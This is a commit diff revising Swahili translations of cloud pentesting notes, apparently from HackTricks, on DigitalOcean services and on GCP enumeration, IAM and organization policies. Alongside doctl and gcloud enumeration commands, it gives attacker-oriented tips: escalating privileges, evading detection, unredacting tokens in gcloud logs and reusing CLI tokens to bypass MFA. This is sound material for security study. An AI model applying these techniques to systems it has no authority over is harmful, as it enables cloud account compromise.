DigitalOcean inatoa aina mbalimbali za Images, ikiwa ni pamoja na mifumo maarufu ya uendeshaji kama Ubuntu, CentOS, na FreeBSD, pamoja na picha za programu zilizowekwa awali kama LAMP, MEAN, na LEMP stacks. Unaweza pia kuunda picha zako za kawaida, au kutumia picha kutoka kwa jamii.
Unapounda Droplet mpya kwenye DigitalOcean, unaweza kuchagua Image kutumia kama msingi wa Droplet. Hii itasakinisha kiotomatiki mfumo wa uendeshaji na programu zozote zilizowekwa awali kwenye Droplet mpya, ili uweze kuanza kuitumia mara moja. Images zinaweza pia kutumika kuunda snapshots na backups za Droplets zako, ili uweze kwa urahisi kuunda Droplets mpya kutoka kwa usanidi sawa katika siku zijazo.

View File

@@ -26,7 +26,7 @@ doctl vpcs list
### Firewall
> [!CAUTION]
> Kwa kawaida **droplets zinaundwa BILA FIREWALL** (sio kama katika mawingu mengine kama AWS au GCP). Hivyo kama unataka DO ilinde bandari za droplet (VM), unahitaji **kuunda na kuunganisha**.
> Kwa default **droplets zinaundwa BILA FIREWALL** (sio kama katika mawingu mengine kama AWS au GCP). Hivyo kama unataka DO ilinde bandari za droplet (VM), unahitaji **kuunda na kuunganisha**.
```bash
doctl compute firewall list
doctl compute firewall list-by-droplet <droplet-id>

View File

@@ -8,7 +8,7 @@ DigitalOcean Spaces ni **huduma za uhifadhi wa vitu**. Zinawaruhusu watumiaji **
### Access
Spaces zinaweza kuwa **za umma** (kila mtu anaweza kuzifikia kutoka mtandao) au **za faragha** (watumiaji walioidhinishwa tu). Ili kufikia faili kutoka kwa nafasi ya faragha nje ya Paneli ya Kudhibiti, tunahitaji kuunda **funguo ya ufikiaji** na **siri**. Hizi ni jozi ya alama za nasibu ambazo zinatumika kama **jina la mtumiaji** na **nenosiri** kutoa ufikiaji kwa nafasi yako.
Spaces zinaweza kuwa **za umma** (kila mtu anaweza kuzifikia kutoka kwenye Mtandao) au **za faragha** (watumiaji walioidhinishwa tu). Ili kufikia faili kutoka kwenye nafasi ya faragha nje ya Paneli ya Kudhibiti, tunahitaji kuunda **funguo ya ufikiaji** na **siri**. Hizi ni jozi ya alama za nasibu ambazo zinatumika kama **jina la mtumiaji** na **nenosiri** ili kutoa ufikiaji kwa nafasi yako.
**URL ya nafasi** inaonekana kama hii: **`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
Kumbuka **eneo** kama **subdomain**.

View File

@@ -4,7 +4,7 @@
## Basic Information
DigitalOcean volumes ni vifaa vya **block storage** ambavyo vinaweza **kuunganishwa na kutenganishwa kutoka kwa Droplets**. Volumes ni muhimu kwa **kuhifadhi data** ambayo inahitaji **kuendelea** bila kujali Droplet yenyewe, kama vile databases au uhifadhi wa faili. Vinaweza kubadilishwa ukubwa, kuunganishwa na Droplets kadhaa, na snapshot kwa ajili ya nakala za akiba.
DigitalOcean volumes ni **vifaa vya uhifadhi wa block** ambavyo vinaweza **kuunganishwa na kutenganishwa na Droplets**. Volumes ni muhimu kwa **kuhifadhi data** ambayo inahitaji **kuendelea** kwa kujitegemea kutoka kwa Droplet yenyewe, kama vile hifadhidata au uhifadhi wa faili. Vinaweza kubadilishwa ukubwa, kuunganishwa na Droplets nyingi, na kuchukuliwa picha kwa ajili ya nakala za akiba.
### Enumeration
```

View File

@@ -88,22 +88,22 @@ gcloud projects list # Get projects
```
### Principals & IAM Enumeration
Ikiwa una ruhusa za kutosha, **kuangalia haki za kila kitengo ndani ya akaunti ya GCP** kutakusaidia kuelewa ni nini wewe na vitambulisho vingine vinaweza kufanya na jinsi ya **kuongeza haki**.
Ikiwa una ruhusa za kutosha, **kuangalia haki za kila chombo ndani ya akaunti ya GCP** kutakusaidia kuelewa ni nini wewe na vitambulisho vingine vinaweza kufanya na jinsi ya **kuinua haki**.
Ikiwa huna ruhusa za kutosha kuhesabu IAM, unaweza **kuiba kwa nguvu** ili kujua.\
Angalia **jinsi ya kufanya hesabu na kuiba** katika:
Angalia **jinsi ya kufanya hesabu na kuiba kwa nguvu** katika:
{{#ref}}
gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
> [!NOTE]
> Sasa kwamba **una taarifa fulani kuhusu hati zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinatumika katika mazingira.\
> Sasa kwamba **una taarifa fulani kuhusu vyeti vyako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinatumika katika mazingira.\
> Katika sehemu ifuatayo unaweza kuangalia njia kadhaa za **kuhesabu huduma za kawaida.**
## Services Enumeration
GCP ina idadi kubwa ya huduma, katika ukurasa ufuatao utapata **taarifa za msingi, hesabu** cheatsheets, jinsi ya **kuepuka kugundulika**, kupata **kuendelea**, na mbinu nyingine za **baada ya unyakuzi** kuhusu baadhi yao:
GCP ina idadi kubwa ya huduma, katika ukurasa ufuatao utapata **taarifa za msingi, hesabu** cheatsheets, jinsi ya **kuepuka kugundulika**, kupata **kuendelea**, na hila nyingine za **baada ya unyakuzi** kuhusu baadhi yao:
{{#ref}}
gcp-services/
@@ -119,7 +119,7 @@ gcp-unauthenticated-enum-and-access/
## Privilege Escalation, Post Exploitation & Persistence
Njia ya kawaida mara tu unapopata hati za wingu au umepata huduma fulani inayofanya kazi ndani ya wingu ni **kudhulumu haki zisizo sahihi** ambazo akaunti iliyovunjwa inaweza kuwa nazo. Hivyo, jambo la kwanza unapaswa kufanya ni kuhesabu haki zako.
Njia ya kawaida mara tu unapopata vyeti vya wingu au umeshambulia huduma fulani inayotembea ndani ya wingu ni **kuitumia vibaya haki zisizo sahihi** ambazo akaunti iliyoshambuliwa inaweza kuwa nazo. Hivyo, jambo la kwanza unapaswa kufanya ni kuhesabu haki zako.
Zaidi ya hayo, wakati wa hesabu hii, kumbuka kwamba **ruhusa zinaweza kuwekwa katika kiwango cha juu cha "Shirika"** pia.
@@ -148,7 +148,7 @@ https://book.hacktricks.xyz/
## GCP <--> Workspace Pivoting
**Kuvunja** wakala katika **jukwaa moja** kunaweza kumwezesha mshambuliaji **kudhulumu jingine**, angalia katika:
**Kushambulia** wakala katika **jukwaa moja** kunaweza kumwezesha mshambuliaji **kushambulia jukwaa lingine**, angalia katika:
{{#ref}}
gcp-to-workspace-pivoting/
@@ -156,10 +156,10 @@ gcp-to-workspace-pivoting/
## Automatic Tools
- Katika **GCloud console**, katika [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) unaweza kuona rasilimali na IAM zinazotumiwa na mradi.
- Katika **GCloud console**, katika [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) unaweza kuona rasilimali na IAM zinazotumika na mradi.
- Hapa unaweza kuona mali zinazoungwa mkono na API hii: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
- Angalia **zana** ambazo zinaweza [**kutumika katika mawingu kadhaa hapa**](../pentesting-cloud-methodology.md).
- [**gcp_scanner**](https://github.com/google/gcp_scanner): Hii ni skana ya rasilimali ya GCP ambayo inaweza kusaidia kubaini ni **ngazi gani ya ufikiaji hati fulani zina** kwenye GCP.
- [**gcp_scanner**](https://github.com/google/gcp_scanner): Hii ni skana ya rasilimali ya GCP ambayo inaweza kusaidia kubaini ni **ngazi gani ya ufikiaji vyeti fulani vina** kwenye GCP.
```bash
# Install
git clone https://github.com/google/gcp_scanner.git
@@ -191,7 +191,7 @@ gcloud components update
```
### Capture gcloud, gsutil... network
Kumbuka kwamba unaweza kutumia **parameter** **`--log-http`** na **`gcloud`** cli ili **print** **requests** ambazo chombo kinazifanya. Ikiwa hutaki kwamba logs zifanye redaction ya thamani ya token tumia `gcloud config set log_http_redact_token false`
Kumbuka kwamba unaweza kutumia **parameter** **`--log-http`** na **`gcloud`** cli ili **print** **requests** ambazo chombo kinafanya. Ikiwa hutaki logs kuficha thamani ya token tumia `gcloud config set log_http_redact_token false`
Zaidi ya hayo, ili kukamata mawasiliano:
```bash
@@ -224,7 +224,7 @@ gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
```
## Marejeleo
## Marejeo
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)

View File

@@ -4,28 +4,28 @@
## **Hifadhi ya Rasilimali**
Google Cloud inatumia [Hifadhi ya Rasilimali](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) ambayo ni sawa, kimsingi, na ile ya mfumo wa kawaida wa faili. Hii inatoa mtiririko wa kazi wa kimantiki wa mzazi/mtoto wenye maeneo maalum ya kiambatisho kwa sera na ruhusa.
Google Cloud inatumia [Hifadhi ya Rasilimali](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) ambayo ni sawa, kimsingi, na ile ya mfumo wa kawaida wa faili. Hii inatoa mtiririko wa kazi wa kimantiki wa mzazi/kijakazi pamoja na maeneo maalum ya kiambatisho kwa sera na ruhusa.
Kwa kiwango cha juu, inaonekana kama hii:
Kwa kiwango cha juu, inaonekana hivi:
```
Organization
--> Folders
--> Projects
--> Resources
```
Masafa ya virtual (inayojulikana kama Compute Instance) ni rasilimali. Rasilimali inapatikana katika mradi, labda pamoja na Compute Instances nyingine, mifuko ya uhifadhi, n.k.
Masafa ya mashine ya virtual (inayoitwa Compute Instance) ni rasilimali. Rasilimali inapatikana katika mradi, labda pamoja na Compute Instances nyingine, mifuko ya uhifadhi, n.k.
## **Uhamasishaji wa Miradi**
Inawezekana **kuhamasisha mradi bila shirika lolote** kwenda kwa shirika lenye ruhusa `roles/resourcemanager.projectCreator` na `roles/resourcemanager.projectMover`. Ikiwa mradi uko ndani ya shirika lingine, inahitajika kuwasiliana na msaada wa GCP ili **kuhamasisha kutoka kwa shirika kwanza**. Kwa maelezo zaidi angalia [**hii**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
Inawezekana **kuhamasisha mradi bila shirika lolote** kwenda shirika lenye ruhusa `roles/resourcemanager.projectCreator` na `roles/resourcemanager.projectMover`. Ikiwa mradi uko ndani ya shirika lingine, inahitajika kuwasiliana na msaada wa GCP ili **kuhamasisha kutoka shirika hilo kwanza**. Kwa maelezo zaidi angalia [**hii**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
## **Sera za Shirika**
Ruhusu kuimarisha udhibiti juu ya rasilimali za wingu za shirika lako:
- Kuimarisha udhibiti ili **kuweka vizuizi** juu ya jinsi rasilimali za shirika lako zinaweza kutumika.
- Mwelekeo na kuanzisha **mipaka** kwa timu zako za maendeleo ili kubaki ndani ya mipaka ya kufuata.
- Saidia wamiliki wa miradi na timu zao kuhamasisha haraka bila wasiwasi wa kuvunja kufuata.
- Mwelekeo na kuanzisha **mipaka** kwa timu zako za maendeleo ili kubaki ndani ya mipaka ya kufuata sheria.
- Saidia wamiliki wa miradi na timu zao kuhamasisha haraka bila wasiwasi wa kuvunja sheria.
Sera hizi zinaweza kuundwa ili **kuathiri shirika lote, folda au miradi**. Wana wa node ya rasilimali iliyolengwa **wanarithi sera za shirika**.
@@ -34,7 +34,7 @@ Ili **kufafanua** sera ya shirika, **unachagua** [**kizuizi**](https://cloud.goo
#### Matumizi ya kawaida <a href="#common_use_cases" id="common_use_cases"></a>
- Punguza ushirikiano wa rasilimali kulingana na kikoa.
- Punguza matumizi ya akaunti za huduma za Usimamizi wa Utambulisho na Ufikiaji.
- Punguza matumizi ya akaunti za huduma za Usimamizi wa Utambulisho na Upatikanaji.
- Punguza eneo halisi la rasilimali mpya zilizoundwa.
- Zima uundaji wa akaunti za huduma.
@@ -46,19 +46,19 @@ Kuna vizuizi vingi zaidi vinavyokupa udhibiti wa kina wa rasilimali za shirika l
<summary>Hizi ni sera ambazo Google itaongeza kwa default wakati wa kuanzisha shirika lako la GCP:</summary>
**Sera za Usimamizi wa Ufikiaji**
**Sera za Usimamizi wa Upatikanaji**
- **Wasiliana na kikoa kilichozuiliwa:** Inazuia kuongeza watumiaji kwenye Wasiliana Muhimu nje ya maeneo yako yaliyotajwa. Hii inazuia Wasiliana Muhimu kuruhusu tu utambulisho wa watumiaji waliodhibitiwa katika maeneo yako yaliyoteuliwa kupokea arifa za jukwaa.
- **Ushirikiano wa kikoa kilichozuiliwa:** Inazuia kuongeza watumiaji kwenye sera za IAM nje ya maeneo yako yaliyotajwa. Hii inazuia sera za IAM kuruhusu tu utambulisho wa watumiaji waliodhibitiwa katika maeneo yako yaliyoteuliwa kufikia rasilimali ndani ya shirika hili.
- **Kuzuia ufikiaji wa umma:** Inazuia mifuko ya Uhifadhi wa Wingu kufichuliwa kwa umma. Hii inahakikisha kwamba mendelevu hawezi kupanga mifuko ya Uhifadhi wa Wingu kuwa na ufikiaji wa intaneti usio na uthibitisho.
- **Ufikiaji wa kiwango cha mifuko wa kawaida:** Inazuia orodha za udhibiti wa ufikiaji wa kiwango cha kitu (ACLs) katika mifuko ya Uhifadhi wa Wingu. Hii inarahisisha usimamizi wako wa ufikiaji kwa kutumia sera za IAM kwa usawa katika vitu vyote katika mifuko ya Uhifadhi wa Wingu.
- **Hitaji la kuingia kwa OS:** VMs zilizoundwa katika miradi mipya zitakuwa na kuingia kwa OS kuliwezesha. Hii inakuwezesha kusimamia ufikiaji wa SSH kwa mifano yako kwa kutumia IAM bila kuhitaji kuunda na kusimamia funguo za SSH za kibinafsi.
- **Wasiliana na kikoa kilichozuiliwa:** Inazuia kuongeza watumiaji kwenye Wasiliana Muhimu nje ya maeneo yako yaliyotajwa. Hii inazuia Wasiliana Muhimu kuruhusu tu utambulisho wa watumiaji waliosimamiwa katika maeneo yako yaliyoteuliwa kupokea arifa za jukwaa.
- **Ushirikiano wa kikoa kilichozuiliwa:** Inazuia kuongeza watumiaji kwenye sera za IAM nje ya maeneo yako yaliyotajwa. Hii inazuia sera za IAM kuruhusu tu utambulisho wa watumiaji waliosimamiwa katika maeneo yako yaliyoteuliwa kufikia rasilimali ndani ya shirika hili.
- **Kuzuia upatikanaji wa umma:** Inazuia mifuko ya Uhifadhi wa Wingu kufichuliwa kwa umma. Hii inahakikisha kwamba mendelevu hawezi kupanga mifuko ya Uhifadhi wa Wingu kuwa na upatikanaji wa intaneti usio na uthibitisho.
- **Upatikanaji wa kiwango cha mifuko wa umoja:** Inazuia orodha za udhibiti wa upatikanaji wa kiwango cha kitu (ACLs) katika mifuko ya Uhifadhi wa Wingu. Hii inarahisisha usimamizi wako wa upatikanaji kwa kutumia sera za IAM kwa usawa katika vitu vyote katika mifuko ya Uhifadhi wa Wingu.
- **Hitaji kuingia kwa OS:** VMs zilizoundwa katika miradi mipya zitakuwa na kuingia kwa OS kuliwezesha. Hii inakuwezesha kusimamia upatikanaji wa SSH kwa mifano yako kwa kutumia IAM bila kuhitaji kuunda na kusimamia funguo za SSH za kibinafsi.
**Sera za usalama za ziada kwa akaunti za huduma**
- **Zima ruhusa za IAM za kiotomatiki:** Inazuia akaunti za huduma za App Engine na Compute Engine kupewa ruhusa ya Mhariri wa IAM kiotomatiki wakati wa uundaji wa mradi. Hii inahakikisha akaunti za huduma hazipati ruhusa za IAM zenye nguvu kupita kiasi wakati wa uundaji.
- **Zima uundaji wa funguo za akaunti za huduma:** Inazuia uundaji wa funguo za umma za akaunti za huduma. Hii husaidia kupunguza hatari ya kufichua ithibitisho endelevu.
- **Zima upakuaji wa funguo za akaunti za huduma:** Inazuia upakuaji wa funguo za umma za akaunti za huduma. Hii husaidia kupunguza hatari ya nyenzo za funguo kufichuliwa au kutumika tena.
- **Zima upakuaji wa funguo za akaunti za huduma:** Inazuia upakuaji wa funguo za umma za akaunti za huduma. Hii husaidia kupunguza hatari ya kufichua au kutumia tena vifaa vya funguo.
**Sera za usanidi wa mtandao wa VPC salama**
@@ -66,21 +66,21 @@ Kuna vizuizi vingi zaidi vinavyokupa udhibiti wa kina wa rasilimali za shirika l
* **Zima uhalisia wa ndani wa VM:** Inazuia uundaji wa VMs za ndani kwenye VMs za Compute Engine. Hii inapunguza hatari ya usalama ya kuwa na VMs za ndani zisizofuatiliwa.
- **Zima bandari ya serial ya VM:** Inazuia ufikiaji wa bandari ya serial kwa VMs za Compute Engine. Hii inazuia pembejeo kwenye bandari ya serial ya seva kwa kutumia API ya Compute Engine.
- **Zima bandari ya serial ya VM:** Inazuia upatikanaji wa bandari ya serial kwa VMs za Compute Engine. Hii inazuia pembejeo kwenye bandari ya serial ya seva kwa kutumia API ya Compute Engine.
* **Punguza mitandao iliyoidhinishwa kwenye mifano ya Cloud SQL:** Inazuia maeneo ya mtandao ya umma au yasiyo ya ndani kufikia hifadhidata zako za Cloud SQL.
- **Punguza Uhamasishaji wa Itifaki Kulingana na aina ya IP:** Inazuia uhamasishaji wa itifaki ya VM kwa anwani za IP za nje.
- **Punguza Uhamasishaji wa Itifaki kulingana na aina ya IP:** Inazuia uhamasishaji wa itifaki ya VM kwa anwani za IP za nje.
* **Punguza ufikiaji wa IP ya umma kwenye mifano ya Cloud SQL:** Inazuia uundaji wa mifano ya Cloud SQL zikiwa na IP ya umma, ambayo inaweza kuzifichua kwa trafiki ya intaneti.
* **Punguza upatikanaji wa IP ya umma kwenye mifano ya Cloud SQL:** Inazuia uundaji wa mifano ya Cloud SQL zikiwa na IP ya umma, ambayo inaweza kuzifichua kwa trafiki ya intaneti.
- **Punguza kuondolewa kwa dhamana ya mradi wa VPC iliyoshirikiwa:** Inazuia kufutwa kwa bahati mbaya kwa miradi ya mwenyeji wa VPC iliyoshirikiwa.
* **Weka mipangilio ya DNS ya ndani kwa miradi mipya kuwa DNS ya Kihuduma tu:** Inazuia matumizi ya mipangilio ya zamani ya DNS ambayo imepunguza upatikanaji wa huduma.
- **Skip default network creation:** Inazuia uundaji wa kiotomatiki wa mtandao wa VPC wa default na rasilimali zinazohusiana. Hii inakwepa sheria za moto za default zenye nguvu kupita kiasi.
- **Skip uundaji wa mtandao wa default:** Inazuia uundaji wa kiotomatiki wa mtandao wa VPC wa default na rasilimali zinazohusiana. Hii inakwepa sheria za moto za default zenye nguvu kupita kiasi.
* **Zima matumizi ya IPv6 ya nje ya VPC:** Inazuia uundaji wa subnet za nje za IPv6, ambazo zinaweza kufichuliwa kwa ufikiaji wa intaneti usioidhinishwa.
* **Zima matumizi ya IPv6 ya nje ya VPC:** Inazuia uundaji wa subnet za nje za IPv6, ambazo zinaweza kufichuliwa kwa upatikanaji wa intaneti usioidhinishwa.
</details>
@@ -88,14 +88,14 @@ Kuna vizuizi vingi zaidi vinavyokupa udhibiti wa kina wa rasilimali za shirika l
Hizi ni kama sera za IAM katika AWS kwani **kila jukumu lina seti ya ruhusa.**
Hata hivyo, tofauti na katika AWS, hakuna **repo ya kati** ya majukumu. Badala yake, **rasilimali zinatoa majukumu X kwa wakuu Y**, na njia pekee ya kugundua ni nani mwenye ufikiaji wa rasilimali ni kutumia **`get-iam-policy` method juu ya rasilimali hiyo**.\
Hii inaweza kuwa tatizo kwa sababu hii inamaanisha kwamba njia pekee ya kugundua **ni ruhusa zipi mkuu anaweza kuwa nazo ni kuuliza kila rasilimali ni nani inayopewa ruhusa**, na mtumiaji huenda hana ruhusa za kupata ruhusa kutoka kwa rasilimali zote.
Hata hivyo, tofauti na katika AWS, hakuna **repo ya kati** ya majukumu. Badala yake, **rasilimali zinatoa majukumu X kwa wakala Y**, na njia pekee ya kugundua nani ana upatikanaji wa rasilimali ni kutumia **mbinu ya `get-iam-policy` juu ya rasilimali hiyo**.\
Hii inaweza kuwa tatizo kwa sababu hii inamaanisha kwamba njia pekee ya kugundua **ni ruhusa zipi wakala ana ni kuuliza kila rasilimali ni nani inayoipa ruhusa**, na mtumiaji huenda hana ruhusa za kupata ruhusa kutoka kwa rasilimali zote.
Kuna **aina tatu** za majukumu katika IAM:
- **Majukumu ya Msingi/Msingi**, ambayo yanajumuisha **Mmiliki**, **Mhariri**, na **Mtazamaji** ambayo yalikuwepo kabla ya kuanzishwa kwa IAM.
- **Majukumu yaliyotangazwa**, ambayo yanatoa ufikiaji wa kina kwa huduma maalum na yanadhibitiwa na Google Cloud. Kuna majukumu mengi yaliyotangazwa, unaweza **kuona yote pamoja na ruhusa zao** [**hapa**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
- **Majukumu ya Kijadi**, ambayo yanatoa ufikiaji wa kina kulingana na orodha ya ruhusa iliyotolewa na mtumiaji.
- **Majukumu yaliyotangazwa**, ambayo yanatoa upatikanaji wa kina kwa huduma maalum na yanadhibitiwa na Google Cloud. Kuna majukumu mengi yaliyotangazwa, unaweza **kuona yote pamoja na ruhusa zao** [**hapa**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
- **Majukumu ya Kijadi**, ambayo yanatoa upatikanaji wa kina kulingana na orodha ya ruhusa iliyotolewa na mtumiaji.
Kuna maelfu ya ruhusa katika GCP. Ili kuangalia ikiwa jukumu lina ruhusa unaweza [**kutafuta ruhusa hapa**](https://cloud.google.com/iam/docs/permissions-reference) na kuona ni majukumu gani yana hiyo.
@@ -106,17 +106,17 @@ Au angalia ikiwa **jukumu la kijadi linaweza kutumia** [**ruhusa maalum hapa**](
## Watumiaji <a href="#default-credentials" id="default-credentials"></a>
Katika **konsoli ya GCP** hakuna usimamizi wa Watumiaji au Makundi, hiyo inafanywa katika **Google Workspace**. Ingawa unaweza kusawazisha mtoa huduma tofauti wa utambulisho katika Google Workspace.
Katika **konso ya GCP** hakuna usimamizi wa Watumiaji au Vikundi, hiyo inafanywa katika **Google Workspace**. Ingawa unaweza kusawazisha mtoa huduma tofauti wa utambulisho katika Google Workspace.
Unaweza kufikia watumiaji na makundi ya Workspaces katika [**https://admin.google.com**](https://admin.google.com/).
Unaweza kufikia watumiaji na vikundi vya Workspaces **katika** [**https://admin.google.com**](https://admin.google.com/).
**MFA** inaweza **kulazimishwa** kwa watumiaji wa Workspaces, hata hivyo, **mshambuliaji** anaweza kutumia tokeni kufikia GCP **kupitia cli ambayo haitalindwa na MFA** (italindwa na MFA tu wakati mtumiaji anapoingia kuunda hiyo: `gcloud auth login`).
## Makundi
## Vikundi
Wakati shirika linaundwa makundi kadhaa yanapendekezwa **kuundwa kwa nguvu.** Ikiwa unasimamia yoyote kati yao unaweza kuwa umepata hatari kwa shirika zima au sehemu muhimu ya shirika:
Wakati shirika linaundwa vikundi kadhaa **vinapendekezwa kwa nguvu kuundwa.** Ikiwa unasimamia yoyote kati yao unaweza kuwa umepata hatari kwa shirika lote au sehemu muhimu ya shirika:
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Kundi</strong></td><td><strong>Funguo</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(akaunti za kundi au mtu binafsi zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kusimamia rasilimali yoyote inayomilikiwa na shirika. Panga jukumu hili kwa uangalifu; wasimamizi wa shirika wana ufikiaji wa rasilimali zako zote za Google Cloud. Badala yake, kwa sababu kazi hii ina nguvu kubwa, fikiria kutumia akaunti za mtu binafsi badala ya kuunda kundi.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kuumba mitandao, subnet, sheria za moto, na vifaa vya mtandao kama vile Cloud Router, Cloud VPN, na mizani ya mzigo wa wingu.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kuweka akaunti za bili na kufuatilia matumizi yao.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kubuni, kuandika, na kupima programu.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Kuweka na kusimamia sera za usalama kwa shirika zima, ikiwa ni pamoja na usimamizi wa ufikiaji na <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">sera za vizuizi vya shirika</a>. Tazama <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">mwongozo wa misingi ya usalama wa Google Cloud</a> kwa maelezo zaidi kuhusu kupanga miundombinu yako ya usalama wa Google Cloud.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Kuumba au kusimamia mipango ya mwisho hadi mwisho inayosaidia uunganisho wa kuendelea na utoaji, ufuatiliaji, na usanidi wa mfumo.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kufuatilia matumizi kwenye miradi. Wanachama wa kawaida ni sehemu ya timu ya fedha.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua taarifa za rasilimali katika shirika la Google Cloud.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua usalama wa wingu.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua usanidi wa mtandao.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua kumbukumbu za ukaguzi.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(sio tena kwa default)</em></td><td>Kusimamia Kituo cha Amri ya Usalama.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(sio tena kwa default)</em></td><td>Kusimamia siri katika Meneja wa Siri.</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Kikundi</strong></td><td><strong>Funguo</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(akaunti za kikundi au mtu binafsi zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kusimamia rasilimali yoyote inayomilikiwa na shirika. Panga jukumu hili kwa uangalifu; wasimamizi wa shirika wana upatikanaji wa rasilimali zako zote za Google Cloud. Badala yake, kwa sababu kazi hii ina mamlaka makubwa, fikiria kutumia akaunti za mtu binafsi badala ya kuunda kikundi.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kuunda mitandao, subnet, sheria za moto, na vifaa vya mtandao kama vile Cloud Router, Cloud VPN, na mizani ya mzigo wa wingu.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kuweka akaunti za bili na kufuatilia matumizi yao.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(zinahitajika kwa orodha ya ukaguzi)</em></td><td>Kubuni, kuandika, na kupima programu.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Kuweka na kusimamia sera za usalama kwa shirika lote, ikiwa ni pamoja na usimamizi wa upatikanaji na <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">sera za vizuizi vya shirika</a>. Tazama <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">mwongozo wa misingi ya usalama wa Google Cloud</a> kwa maelezo zaidi kuhusu kupanga miundombinu yako ya usalama wa Google Cloud.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Kuunda au kusimamia mipango ya mwisho hadi mwisho inayosaidia uunganisho wa kuendelea na utoaji, ufuatiliaji, na usanidi wa mfumo.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kufuatilia matumizi kwenye miradi. Wanachama wa kawaida ni sehemu ya timu ya fedha.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua taarifa za rasilimali katika shirika la Google Cloud.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua usalama wa wingu.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua usanidi wa mtandao.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(sio tena kwa default)</em></td><td>Kukagua kumbukumbu za ukaguzi.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(sio tena kwa default)</em></td><td>Kusimamia Kituo cha Amri ya Usalama.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(sio tena kwa default)</em></td><td>Kusimamia siri katika Meneja wa Siri.</td></tr></tbody></table>
## **Sera ya Nywila ya Kawaida**
@@ -132,8 +132,8 @@ Wakati shirika linaundwa makundi kadhaa yanapendekezwa **kuundwa kwa nguvu.** Ik
## **Akaunti za huduma**
Hizi ni wakuu ambao **rasilimali** zinaweza **kuwa** **zilizounganishwa** na ufikiaji wa kuingiliana kwa urahisi na GCP. Kwa mfano, inawezekana kufikia **tokeni ya uthibitisho** ya Akaunti ya Huduma **iliyounganishwa na VM** katika metadata.\
